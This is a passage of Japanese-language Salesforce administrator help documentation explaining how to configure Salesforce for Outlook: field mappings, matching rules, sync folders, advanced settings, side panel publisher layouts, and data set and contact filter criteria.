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Salesforce と Microsoft® Outlook® 間で同期する項目のカスタマイズ

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

営業担当が Salesforce for Outlook を使用して同期するレコードの項目をカスタマイ
ズします。営業担当に同期させる Outlook または Salesforce のカスタム項目を追加
することもできます。
項目の対応付けでは、Salesforce と Outlook のどの項目を対応させ、2 つのシステ
ム間で項目の同期をいつ行うかを定義します。Salesforceには、対応付けのデフォ
ルトセットがあります。営業担当が個人設定で独自の項目の対応付けを編集で
きるようにするかどうかを決定します。
次のカスタム項目のデータ型を対応付けます。
• Outlook テキスト項目
• Salesforce テキスト項目
• 一部の Salesforce 選択リスト項目
デフォルトの項目の対応付けを編集したり、営業担当のカスタム項目の対応付
けを設定したりします。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 編集する Outlook 設定を選択するか、新しい Outlook 設定を作成します。
3. [データ設定] の [取引先責任者]、[行動]、または ToDoで [項目の対応付けの

編集] をクリックして、そのオブジェクトのレコードのすべての項目を表示します。
4. どの Salesforce 項目が各 Outlook 項目に対応付けられているのかを確認します。
5. 変更する Salesforce または Outlook 項目の対応付けを編集するか、カスタム項目の対応付けを作成します。

Salesforce for Outlook では、選択リストで任意の項目の対応付けを編集できます。リストの下部で対応付けを
追加できます。対応付けの横にある [X] をクリックして対応付けを削除できます。

警告: 必須のカスタム項目を対応付ける場合、エラーを回避するため、必ずデフォルト値を設定して
ください。また、Salesforce による検証が必要となるカスタム項目を対応付けると、同期エラーが発生
する場合があります。たとえば、一意の値を必須とする Salesforce カスタム項目を対応付けるとしま
す。Outlook 項目に一意ではない値を入力すると、同期エラーが発生します。

6. [保存] をクリックします。Salesforce または Outlook のいずれかで次回それらの項目が更新されると、項目の
対応付けによって項目の同期が開始されます。

関連トピック:

Salesforce for Outlook 設定の作成
Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook の一致条件の定義
Salesforce for Outlook の競合動作の定義
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Salesforce for Outlook の一致条件の定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

Outlook の連絡先が最初に同期されるときに、Salesforce for Outlook が複数の一致す
る Salesforce 取引先責任者を処理する方法を定義します。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 設定を編集し、取引先責任者の [データ設定] の下で、次の一致条件オプショ

ンのなかから 1 つ選択します。
• 最近の活動: 取引先責任者の活動履歴関連リストに示されるように、最後

にの活動 (電話やメールなど) があるSalesforce取引先責任者を選択します。
このオプションは、デフォルトの一致条件です。

• 最終更新: 最も最近変更された Salesforce 取引先責任者を選択します。
• 最古: 作成日が最も古い Salesforce 取引先責任者を選択します。

3. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータ
を同期するときに有効になります。

Salesforce 内に一致する取引先責任者が見つからない場合、Outlook の連絡先との
同期をとる取引先責任者を作成します。その後で、同期した取引先責任者を
Salesforce の取引先に割り当てるか、そのまま割り当てないでおくか、または、
営業担当の [私の未解決の項目] ページに置きます。

関連トピック:

Salesforce for Outlook 設定の作成
Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce と Microsoft® Outlook® 間で同期する項目のカスタマイズ
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ユーザによる Salesforce for Outlook 設定の変更

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 設定を編集し、同期する各オブジェクトの [データ設定] の下で、次のオプ

ションから任意のオプションを選択します。次の項目について、ユーザによ
る変更を許可できます。
• オブジェクトを同期するかどうか
• 同期方向
• 競合動作
• 項目の対応付け

3. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータ
を同期するときに有効になります。

設定で [ユーザが行った設定変更を上書き] を選択することにより、ユーザによ
る変更をいつでも上書きできます。更新した設定を保存した後、その設定のユー
ザが次回データを同期するときに、既存の設定は新しい設定に置き換わります。

Microsoft® Outlook® でのユーザの同期フォルダの割り当て

エディション

設定に使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Outlook の設定を作成およ
び編集する
• 「アプリケーションの

設定」

Salesforce for Outlookユーザの取引先責任者、行動、ToDo の同期フォルダを Outlook

で割り当てると、設定プロセスが簡略化され、会社全体で同期フォルダの一貫
性を保持できます。Outlook 同期フォルダは、Salesforce Outlook の設定から指定で
きます。
デフォルトでは、Salesforce for Outlookシステムトレイの [設定] メニューからSalesforce

の取引先責任者、行動、ToDo を同期する Outlook フォルダをユーザが変更できま
す。取引先責任者、行動、ToDo のデフォルト設定をクリアし、特定の Outlook 同
期フォルダをユーザの Outlook 設定から割り当てると、ユーザが Outlook 同期フォ
ルダを変更できなくなります。

メモ:  Outlook 同期フォルダを割り当てると、すべてのユーザの Outlook ディ
レクトリが Outlook 設定に作成されることがあります。Salesforce for Outlookで
は、ディレクトリの作成後にユーザの Outlook ディレクトリから Outlook 同期
フォルダを削除することはできません。異なるフォルダを後から再割り当
てすると、元のフォルダはユーザが削除するまでユーザのローカル Outlook

ディレクトリに残ります。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. Outlook 設定を開きます。
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3. ユーザが取引先責任者を同期するフォルダを割り当てるには、[データ設定] の [ユーザに次の設定の変更を
許可する:] 設定で [取引先責任者を同期するための Outlook フォルダ] をオフにします。

4. 表示されるテキストボックスに、ユーザの取引先責任者を Salesforce と同期する、Outlook フォルダの名前を
入力します。デフォルトの Outlook 連絡先フォルダと同じディレクトリレベルで、ユーザごとに Outlook ディ
レクトリに存在する共通フォルダの名前を入力します。フォルダ名では大文字と小文字が区別されます。
各ユーザのそのレベルに存在しないフォルダ名を入力すると、Salesforce によりそのユーザの Outlook にフォ
ルダが作成されます。ネストされた Outlook フォルダを Salesforce for Outlook で同期するには、バックスラッ
シュ (\) を含めたファイルパスを入力します。
たとえば、「sfdc_sync_contacts」という Outlook フォルダをユーザのデフォルト Outlook 連絡先フォルダの下
にネストされたディレクトリとして割り当てるには、[取引先責任者を同期するための Outlook フォルダ]

テキストボックスに Contacts\sfdc_sync_contacts と入力します。取引先責任者 はユーザのデフォル
ト取引先責任者フォルダであり、sfdc_sync_contactsは同期するユーザのSalesforce取引先責任者フォル
ダです。

ユーザの Outlook ディレクトリにフォルダが存在する場合は、Salesforce for Outlookにより取引先責任者が同期
されます。存在しない場合は、「Contacts\sfdc_sync_contacts」にフォルダが作成されます。

5. [保存] をクリックします。
6. システムに加えた変更を確認するため、Salesforce for Outlook設定を再度保存するようにユーザに指示します。

そのためには、次の手順を実行するようユーザに指示します。
a. 設定ウィザードで、システムトレイの Salesforce for Outlook アイコン ( ) を右クリックして、[設定] をク

リックします。
b. [同期方向を確認] で [次へ] をクリックします。
c. [同期する Outlook 項目を制御] で [次へ] をクリックします。
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d. [非公開の項目を同期中] で [保存] をクリックします。
Salesforce for Outlook により、ユーザの Outlook ディレクトリに存在する Outlook フォルダが検索されるか、存
在しない場合はフォルダが作成されます。

7. 同期する Outlook 連絡先を、指定したフォルダに移動するようにユーザに指示します。
ユーザが行動と ToDo を Salesforceと同期する Outlook フォルダの場所を変更するには、行動セクションと ToDo セ
クションで手順 3 から 7 を繰り返します。

Salesforce for Outlook の高度な設定の定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

Salesforce for Outlook 設定の高度な設定を使用して、同期ログの最大サイズ設定な
ど、Salesforce for Outlook のデフォルトの動作をカスタマイズします。高度な設定
の値を変更するには [編集] を、設定から値を削除するには [削除] をクリックし
ます。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集] をク

リックします。変更しない場合は、[新規 Outlook 設定] をクリックして、必
須項目に入力します。

3. Outlook 設定の [高度な設定] セクションで、[高度な設定の追加] をクリックし
ます。

4. これらの設定のいずれかを選択して、値を入力します。

この設定が示す内容高度な設定

Salesforce との HTTP 接続を確立するまで Salesforce for Outlook

が待機する秒数。15 秒から 360 秒までの値を指定してくだ
さい。デフォルトは 30 です。

HTTPTimeout

保存する同期ログの最大ファイルサイズ。1 から 128 MB ま
での値を指定してください。デフォルトは 1 です。

MaxLogFileSize

Salesforce for Outlook が Salesforce への接続を試行する回数。0

から 10 までの値を指定してください。デフォルトは 3 で
す。

MaxRetries

5. [OK] をクリックします。
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6. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータを同期するときに有効になり
ます。

関連トピック:

Salesforce for Outlook 設定の作成
Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook のデータセットの定義

Contact Manager および Group Edition の Salesforce for Outlook 設定

エディション

設定に使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Contact Manager Edition、
Group Edition

Salesforce Contact Manager および Group Edition での同期設定について説明します。

説明設定

有効Salesforceサイ
ドパネル

有効メールを追加

取引先責任者 • 同期方向 — 双方向同期
• 競合の動作 — Outlook が常に優先
• 検索条件

Contacts: User's Records
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following

• 項目の対応付け — デフォルト設定
• 一致条件 — [最近の活動]

行動 • 同期方向 — 双方向同期
• 競合の動作 — Outlook が常に優先
• 検索条件

User's Records
Date greater or equal to LAST 30 DAYS

• 項目の対応付け — デフォルト設定

ToDo • 同期方向 — 双方向同期
• 競合動作 — Salesforce が常に優先
• 検索条件

User's Records
Due date greater or equal to LAST 30 DAYS
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説明設定

• 項目の対応付け — デフォルト設定

Salesforce サイドパネルからレコードを直接作成する営業担当の設定

エディション

Salesforce for Outlook は、
Salesforce Classic および
Lightning Experience で管理
できます。

サイドパネルパブリッ
シャーを使用可能なエ
ディション: すべてのエ
ディション

サイドパネルパブリッ
シャーのカスタマイズ可
能なレイアウトを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce サイドパネルを
表示する
• Outlook 設定の「サイ

ドパネル」

アクションを作成してサ
イドパネルパブリッ
シャーレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

サイドパネルパブリッ
シャーレイアウトを表示
する
• 「設定・定義を参照す

る」

営業チームが Microsoft® Outlook®で作業中に見込み客を生成する場合は、営業担当
が Salesforce サイドパネルパブリッシャーを使用してサイドパネルから取引先、
ケース、リード、商談、さらにカスタムオブジェクトを直接作成できるように
設定します。
外観は次のとおりです。

Salesforceエディションによって、営業担当がアクセスできるサイドパネル機能、
およびサイドパネルパブリッシャーを使用する営業担当の設定方法が決まりま
す。
1. 営業担当のサイドパネルパブリッシャーメニューで使用可能なアクションご

とに、[レコードを作成] グローバルアクションを設定したことを確認しま
す。

2. アクションを適切なパブリッシャーレイアウトに追加します。
• Contact Manager Edition、Group Edition、または Professional Edition では、グロー

バルパブリッシャーレイアウトエディタを使用してグローバルクイック
アクションを営業担当のサイドパネルパブリッシャーメニューに追加し
ます。このサイトパネルに追加したグローバルクイックアクションは、
グローバルクイックアクションを使用するすべての設定済み機能に表示
されます。ただし、サイドパネルパブリッシャーには、アクション種別
が [レコードを作成] のアクションしか表示されません。

• Enterprise Edition、Performance Edition、Unlimited Edition、または Developer Edition

では、サイドパネルパブリッシャーレイアウトエディタを使用してグロー
バルクイックアクションを営業担当のサイドパネルパブリッシャーメ
ニューに追加します。また、複数のサイドパネルパブリッシャーレイア
ウトを作成して、異なるサイドパネルパブリッシャーメニューに異なる
営業担当がアクセスできるようにすることができます。

3. サイドパネルパブリッシャーレイアウトを営業担当に割り当てます。
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• Contact Manager Edition、Group Edition、または Professional Edition では、グローバルパブリッシャーレイアウ
トをユーザプロファイルに割り当てて、営業担当にアクセス権を付与します。

• Enterprise Edition、Performance Edition、Unlimited Edition、または Developer Edition では、サイドパネルパブリッ
シャーレイアウトをユーザプロファイルに割り当てて、営業担当にアクセス権を付与します。

関連トピック:

Salesforce サイドパネルパブリッシャーのクイックアクションの作成
Salesforce for Outlook ユーザに応じたサイドパネルパブリッシャーメニューレイアウトのカスタマイズ
ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
ユーザプロファイルへの Salesforce サイドパネルパブリッシャーレイアウトの割り当て
Microsoft® Outlook® からの Salesforce レコードの表示と操作

Salesforce サイドパネルパブリッシャーのクイックアクションの作成

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

グローバルクイックアク
ションを設定する
• 「アプリケーションの

カスタマイズ」

Salesforce サイドパネルを
表示する
• Outlook 設定の「サイ

ドパネル」

Salesforce for Outlook ユーザの準備の最初のステップを実行して、Salesforce サイド
パネルからレコードを直接作成します。ユーザのサイドパネルパブリッシャー
メニューに表示するレコードタイプごとに、[レコードを作成]グローバルクイッ
クアクションを設定します。
Salesforceサイドパネルパブリッシャーは、取引先、ケース、取引先責任者、リー
ド、商談またはカスタムオブジェクトレコードをサイドパネルから直接作成で
きるメニューです。レコードタイプごとに [レコードを作成] グローバルアク
ションを作成して、ユーザのサイドパネルパブリッシャーメニューに表示する
クイックアクションを選択します。

メモ: グローバルアクションは、ホームページや Chatter タブのメニューの
ように、Salesforce にある複数の種別のパブリッシャーメニューに使用でき
ます。ユーザが使用可能なレコードタイプに [レコードを作成]グローバル
アクションが設定済みの場合は、アクションを再度設定する必要はありま
せん。これらのアクションは、すべてのパブリッシャーアクションにすで
に追加できるようになっています。

ユーザが使用可能なレコードタイプに [レコードを作成]グローバルアクション
がまだ作成されていない場合は、この時点で作成する必要があります。
1. [設定] から、[クイック検索]ボックスに「グローバルアクション」と入力し、

[グローバルアクション] を選択します。
2. [新規アクション]をクリックします。
3. [アクション種別][レコードを作成] を選択します。

サイドパネルパブリッシャーメニューに表示されるのは [レコードを作成] アクションのみです。
4. このアクションでユーザが使用可能なレコードタイプに対して [対象オブジェクト] を選択します。

[対象オブジェクト] に [レコードタイプ] が必要な場合は、このアクションの割り当て対象ユーザがそのレ
コードタイプにもアクセスできることを確認してください。

5. 新しいアクションの内容をユーザに示す [表示ラベル] を入力します。
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6. [保存] をクリックします。
7. アクションレイアウトエディタから、サイドパネルパブリッシャーのレコード詳細ページに表示する項目

をドラッグします。
これらの項目が組織の他の場所でこのレコードタイプに必須とマークされている場合は、その項目もこの
アクションに必ず含めます。これは、必須項目がレコード詳細に含まれていないと、Salesforce でユーザが
サイドパネルパブリッシャーからレコードを保存できないからです。アクションレイアウトエディタで、
必須項目の横に赤いアスタリスクが表示されます。

[レコードを作成] アクションを作成したら、ユーザのサイドパネルパブリッシャーを設定する次のステップ
で、グローバルアクションを適切なサイドパネルパブリッシャーレイアウトに追加します。Contact Manager

Edition、Group Edition、または Professional Edition では、グローバルパブリッシャーレイアウトエディタを使用して
グローバルクイックアクションを営業担当のサイドパネルパブリッシャーメニューに追加します。Enterprise

Edition、Performance Edition、Unlimited Edition、または Developer Edition では、サイドパネルパブリッシャーレイア
ウトエディタを使用してグローバルクイックアクションを営業担当のサイドパネルパブリッシャーメニューに
追加します。

関連トピック:

Salesforce サイドパネルからレコードを直接作成する営業担当の設定
Salesforce for Outlook ユーザに応じたサイドパネルパブリッシャーメニューレイアウトのカスタマイズ
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Salesforce for Outlook ユーザに応じたサイドパネルパブリッシャーメニューレイアウトのカ
スタマイズ

エディション

Salesforce for Outlook は、
Salesforce Classic および
Lightning Experience で管理
できます。

サイドパネルパブリッ
シャーを使用可能なエ
ディション: すべてのエ
ディション

サイドパネルパブリッ
シャーのカスタマイズ可
能なレイアウトを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce サイドパネルを
表示する
• Outlook 設定の「サイ

ドパネル」

アクションを作成してサ
イドパネルパブリッ
シャーレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

サイドパネルパブリッ
シャーレイアウトを表示
する
• 「設定・定義を参照す

る」

Salesforce for Outlook ユーザの準備の 2 番目のステップを実行して、Salesforce サイ
ドパネルからレコードを直接作成します。異なるセットのグローバルクイック
アクションを使用して複数のパブリッシャーレイアウトをカスタマイズするこ
とで、ユーザに応じた異なるサイドパネルパブリッシャーメニューを設定しま
す。
ユーザのサイドパネルパブリッシャーレイアウトをカスタマイズする前に、サ
イドパネルパブリッシャーメニューに表示するレコードタイプごとに[レコード
を作成] グローバルクイックアクションを設定したことを確認します。
一部のSalesforceエディションでは、複数のパブリッシャーレイアウトを作成し、
担当業務が異なるユーザが異なるセットのクイックアクションを使用してパブ
リッシャーメニューにアクセスできるようにします。これにより、種別の異な
るユーザが、自分の担当業務に適用するレコードのみを作成できるようになり
ます。たとえば、営業担当者は取引先責任者と商談のみを作成できれば十分で
あっても、営業マネージャは取引先責任者、商談、ケース、リードを作成する
必要があるという場合があります。
ユーザグループごとに異なるセットのグローバルアクションを使用してパブリッ
シャーレイアウトをカスタマイズすることで、営業担当者と営業マネージャに
異なるサイドパネルパブリッシャーメニューを設定できます。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. [Outlook パブリッシャーレイアウト] 関連リストから、[新規] をクリックしま

す。新しいレイアウトに名前を付け、[保存] をクリックします。
3. [Outlook 設定] ページで、[編集] をクリックしてグローバルアクションを新し

いレイアウトに追加します。
4. Outlook サイドパネルパブリッシャーレイアウトエディタから、使用するグ

ローバルアクションを [Salesforce Classicパブリッシャーのクイックアクション]

セクションにドラッグします。パブリッシャーレイアウトエディタ機能につ
いての詳細は、「グローバルパブリッシャーレイアウトへのアクションの追
加」を参照してください。

アクションをパブリッシャーレイアウトに追加したら、ユーザのサイドパネル
パブリッシャーを設定する最後のステップで、パブリッシャーレイアウトを適
切なユーザプロファイルに割り当ててユーザにアクセス権を付与します。Contact

Manager Edition、Group Edition、または Professional Edition では、グローバルパブリッ
シャーレイアウトをユーザプロファイルに割り当てて、営業担当にアクセス権
を付与します。Enterprise Edition、Performance Edition、Unlimited Edition、または
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Developer Edition では、サイドパネルパブリッシャーレイアウトをユーザプロファイルに割り当てて、営業担当
にアクセス権を付与します。

関連トピック:

Salesforce サイドパネルからレコードを直接作成する営業担当の設定
ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
ユーザプロファイルへの Salesforce サイドパネルパブリッシャーレイアウトの割り当て

ユーザプロファイルへの Salesforce サイドパネルパブリッシャーレイアウトの割り当て

エディション

Salesforce for Outlook は、
Salesforce Classic および
Lightning Experience で管理
できます。

サイドパネルパブリッ
シャーを使用可能なエ
ディション: すべてのエ
ディション

サイドパネルパブリッ
シャーのカスタマイズ可
能なレイアウトを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce サイドパネルを
表示する
• Outlook 設定の「サイ

ドパネル」

サイドパネルパブリッ
シャーレイアウトを割り
当てる
• 「アプリケーションの

カスタマイズ」

サイドパネルパブリッ
シャーレイアウトを表示
する
• 「設定・定義を参照す

る」

一部の Salesforce エディションでは、担当業務が異なるユーザが種類の異なるレ
コードを Salesforce サイドパネルから直接作成できるようにするため、複数のサ
イドパネルパブリッシャーメニューレイアウトをカスタマイズできます。レイ
アウトを作成したら、ユーザプロファイルに割り当てることでレイアウトへの
アクセス権をユーザに付与できます。
Contact Manager Edition、Group Edition、または Professional Edition では、グローバルパ
ブリッシャーレイアウトをユーザプロファイルに割り当てて、営業担当にアク
セス権を付与します。その他すべてのエディションでは、次の手順で Salesforce

サイドパネルパブリッシャーレイアウトを割り当てることができます。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. [Outlook パブリッシャーレイアウト] 関連リストで、[パブリッシャーレイ

アウトの割り当て] > [割り当ての編集] をクリックします。
3. テーブルで該当する行の任意の場所をクリックし、ユーザプロファイルを選

択します。
4. [使用するパブリッシャーレイアウト] ドロップダウンから、強調表示したプ

ロファイルに割り当てるレイアウトを選択します。
5. [保存] をクリックします。
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Salesforce for Outlook のデータセットの定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

データセットを作成、編
集、または削除する
• 同期方向は 同期しな

い にはできません

データセットは、Salesforce for Outlook ユーザが同期できる Salesforce レコードのサ
ブセットです。同期するレコードを限定する条件で構成されています。ユーザ
が Outlook との同期をとるため、各設定にはデータセットが必要です。
[Outlook 設定] 詳細ページには、設定の現在の条件に関する概要が表示されます。

メモ: 会社でプラットフォームの暗号化を使用する場合、暗号化した項目
に対して条件を設定することはできません。条件を設定すると、
Salesforce for Outlook は、その設定に割り当てられたユーザの取引先責任者、
行動、または ToDo を同期できません。

1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. Outlook 設定の名前をクリックします。
3. [データセット] 関連リストで、[編集] をクリックします。
4. 条件を指定します。
5. 指定した条件で同期される項目がいくつあるかを把握するため、データセッ

トサイズを確認できます。
6. [保存] をクリックします。

関連トピック:

Lightning Sync および Salesforce for Outlook のサンプルデータセット
Salesforce for Outlook の取引先責任者条件
Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook データセットのサイズの確認
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Salesforce for Outlook のデータセットに関する説明

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

データセットを作成、編
集、または削除する
• 同期方向は 同期しな

い にはできません

データセットは、Salesforce for Outlook ユーザが同期できる Salesforce レコードのサ
ブセットです。同期するレコードを限定する条件で構成されています。

同期の内容
Salesforce for Outlook は、データセット内の定義に基づくレコードとそれに関連す
るレコードを同期します。

データセットの制限について
データセットを使用する場合、ユーザは Microsoft® Outlook® と Salesforce 間で、1 回
の条件につき最大 5000 件のレコードを同期できます。つまり、データセットの
設定に基づいて同期するレコードが 5000 件を超える場合、Salesforce for Outlook で
はその一部を同期しません。さらに、これらの大量のレコードを同期すると、
同期処理の速度が遅くなる場合があります。ただし、同期できるレコード件数
を増加することができます。同期処理の速度に影響する可能性を低減すること
はできません。

データセットの制限の拡張
5000 件以上のレコードを使用している場合、データセットがより大量のレコー
ド数を同期できるように設定できます。このように設定するには、データセッ
トに条件を追加します。たとえば、[取引先責任者条件] セクションにある [所有
者別に絞り込み] で、[選択された取引先責任者]を選択します。次に、[取引先責
任者]、[商談の取引先責任者]、および [取引先の取引先責任者] で[ユーザのレコー
ド]を選択します。データセットには、3 つの条件が適用されたため、最大 15000 件のレコードを同期できるよ
うになりました。
設定したこれらのさまざまな条件によって、必ずしも相互に排他的なレコードが選択されるとは限りません。
したがって、同期プロセスが 15000 件のレコードを同期しない場合があります。この状況を回避するために、
同期する取引先責任者のグループをさらに絞り込むことができます。[追加オブジェクトおよび項目別に絞り
込み] のパラメータを追加定義してください。
条件を定義したら、[データセットのサイズ] セクションにユーザのレコード数を取得できます。これを行うに
は、ユーザを入力して[レコード件数を取得]をクリックします。それでも、設定した条件で同期制限に達する
場合、同期処理のレコード選択が無作為であるように見受けられます。

個人取引先について
組織が個人取引先を有効にしており、Salesforceで 5000 件以上のレコードを使用している場合、データセットの
動作は異なります。具体的には、Salesforceは、まず検索条件に一致する個人取引先で問い合わせを実行してか
ら、これらの取引先に割り当てられた取引先責任者を問い合わせます。つまり、同期処理が 5000 件レコード
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の制限 (個人取引先と取引先責任者を含む) に達する可能性があり、ユーザが同期しようと考えている取引先責
任者が含まれない場合があります。

関連トピック:

Salesforce for Outlook の取引先責任者の条件の設定
Lightning Sync および Salesforce for Outlook の行動条件の入力
Salesforce for Outlook の ToDo 条件の作成
Salesforce for Outlook データセットのサイズの確認

Salesforce for Outlook の取引先責任者の条件の設定

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

「設定・定義を参照する」設定を表示する

「メールクライアント設定の管理」設定を作成、編集、または削除する

「商談チームセリング」商談チームで取引先責任者を絞り込む

「取引先チーム」取引先チームで取引先責任者を絞り込む

同期方向は 同期しない にはできませんデータセットを作成、編集、または削除
する

データセットは、Salesforce for Outlookユーザが同期できるSalesforceレコードのサブセットです。同期するレコー
ドを限定する条件で構成されています。特定のユーザをすべての取引先責任者と同期するけれども、他のユー
ザを商談チームに関連する取引先責任者のみに同期する場合などが挙げられます。また、ユーザを特定の取引
先または商談に関連する取引先責任者に同期するなど、レコードの項目で絞り込むことができます。
[Outlook 設定] 詳細ページには、設定の現在の条件に関する概要が表示されます。

メモ: 会社でプラットフォームの暗号化を使用する場合、暗号化した項目に対して条件を設定することは
できません。条件を設定すると、Salesforce for Outlook は、その設定に割り当てられたユーザの取引先責任
者、行動、または ToDo を同期できません。

1. 設定のデータセットを定義します。
2. [所有者別に絞り込み] で、ユーザが同期できる取引先責任者を指定します。
3. [選択された取引先責任者] を選択すると、ユーザが同期する取引先責任者をさらに絞り込むことができま

す。

選択ユーザが同期できる対象対象

ユーザのレコードユーザが所有するすべての取引先責任者取引先責任者

ユーザのチームのレコードロール階層のユーザとその部下が所有す
るすべての取引先責任者
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選択ユーザが同期できる対象対象

ユーザのレコードユーザの商談に関連する取引先責任者商談の取引先責任
者

ユーザのチームのレコードロール階層のユーザとその部下が所有す
る商談に関連する取引先責任者

ユーザの商談チームのレコードユーザが所有する商談ではなく、ユーザ
が商談チームのメンバーである商談に関
連する取引先責任者

ユーザのレコードユーザの取引先に関連する取引先責任者取引先の取引先責
任者

ユーザのチームのレコードロール階層のユーザとその部下が所有す
る取引先に関連する取引先責任者

ユーザの取引先チームのレコードユーザが所有する取引先ではなく、ユー
ザがチームメンバーである取引先に関連
する取引先責任者

4. [追加オブジェクトおよび項目別に絞り込み] で、必要な項目レベルの条件を追加します。
a. 該当するオブジェクト内のオブジェクトおよび項目を選択します。
b. 適切な検索条件の演算子を選択します。
c. 選択した項目の値を入力します。

5. 新しい条件を追加するには[行を追加]をクリックします。リストの最後の条件を削除するには、[行を削除]

をクリックします。
6. [含めるその他の取引先責任者] で、Chatter取引先責任者がこの設定のユーザを自動的に同期するように選択

できます。これを行うには、[Chatter でフォローしている取引先責任者ユーザを同期] を選択します。

関連トピック:

Salesforce for Outlook の取引先責任者条件
Salesforce for Outlook のデータセットの定義
Salesforce for Outlook データセットのサイズの確認
Lightning Sync および Salesforce for Outlook のサンプルデータセット
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Salesforce for Outlook の取引先責任者条件

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者条件によって、Salesforce for Outlookユーザが Outlook と Salesforceとの
間で同期できるレコード数を制御します。取引先責任者条件を使用するときに、
次の点に注意してください。
• 指定する条件は、基本的に AND 演算子が使われます。つまり、複数の検索条

件を指定した場合は、それらの検索条件をすべて満たすデータのみがレポー
トに表示されます。

• 日付を入力する場合は、[ロケール]の設定で規定されている形式で入力しま
す。[今日]、[来週]、[来年]、[過去 N 日間] などの特別な日付値も使用できま
す。

• カンマを含む数値やその他のデータは、引用符で囲みます。たとえば、「金額 次の文字列と一致する
"10,000"」と指定すると金額が $10,000 のレコードが返されますが、「金額 次の文字列と一致する 10,000」
と指定すると金額が $10,000、$10 および $0 のレコードが返されます。

• 数値を持つ項目で「＜」、「＞」、「＜＝」、または「＞＝」演算子を使用するとき、値が空白または
「null」であるレコードは、値がゼロ (0) であるものとして返されます。

• 特定の項目が空白か、項目に「null」値が含まれているデータだけをレポートに表示する場合は、対象とな
る項目および「次の文字列と一致する」か「次の文字列と一致しない」演算子を選択し、検索条件値を空
白のままにします。たとえば、「金額 次の文字列と一致する」と指定すると、金額の項目が空白のレコー
ドが返されます。空白の値の検索と他の指定値の検索を、同時に実行することができます。たとえば、「金
額 次の文字列と一致する 1,,2」と指定すると、[金額] が空白か、値が「1」または「2」となっているレ
コードが返されます。たとえば、「年間売上 ＜ 100000」という条件を持つ取引先に対してワークフロー
を作成した場合、[年間売上] が空白である取引先レコードは条件に一致します。

• 電話番号を検索する場合は、「電話 次の文字列で始まる (561)」のように、電話番号の形式を正確に入力
します。

• 複数の値で絞り込むには、検索条件をカンマで区切ります。カンマ、空白も含めて 80 文字まで入力できま
す。たとえば、東京、大阪、愛知のいずれかにいる取引先を検索する場合は、「都道府県 次の文字列を含
む 東京, 大阪, 愛知」と入力します。

• [説明]などの標準のロングテキストエリア項目をフィルタリングする場合、項目の最初の 1000 文字のみを
検索します。

• [レコード件数を取得] ボタンを使用すると、設定の条件に基づいたサンプルの Salesforce for Outlook ユーザに
同期するレコード数を確認します。

• 取引先責任者条件でユーザ情報を参照する必要がある場合、次の差し込み項目を追加できます。

説明差し込み項目

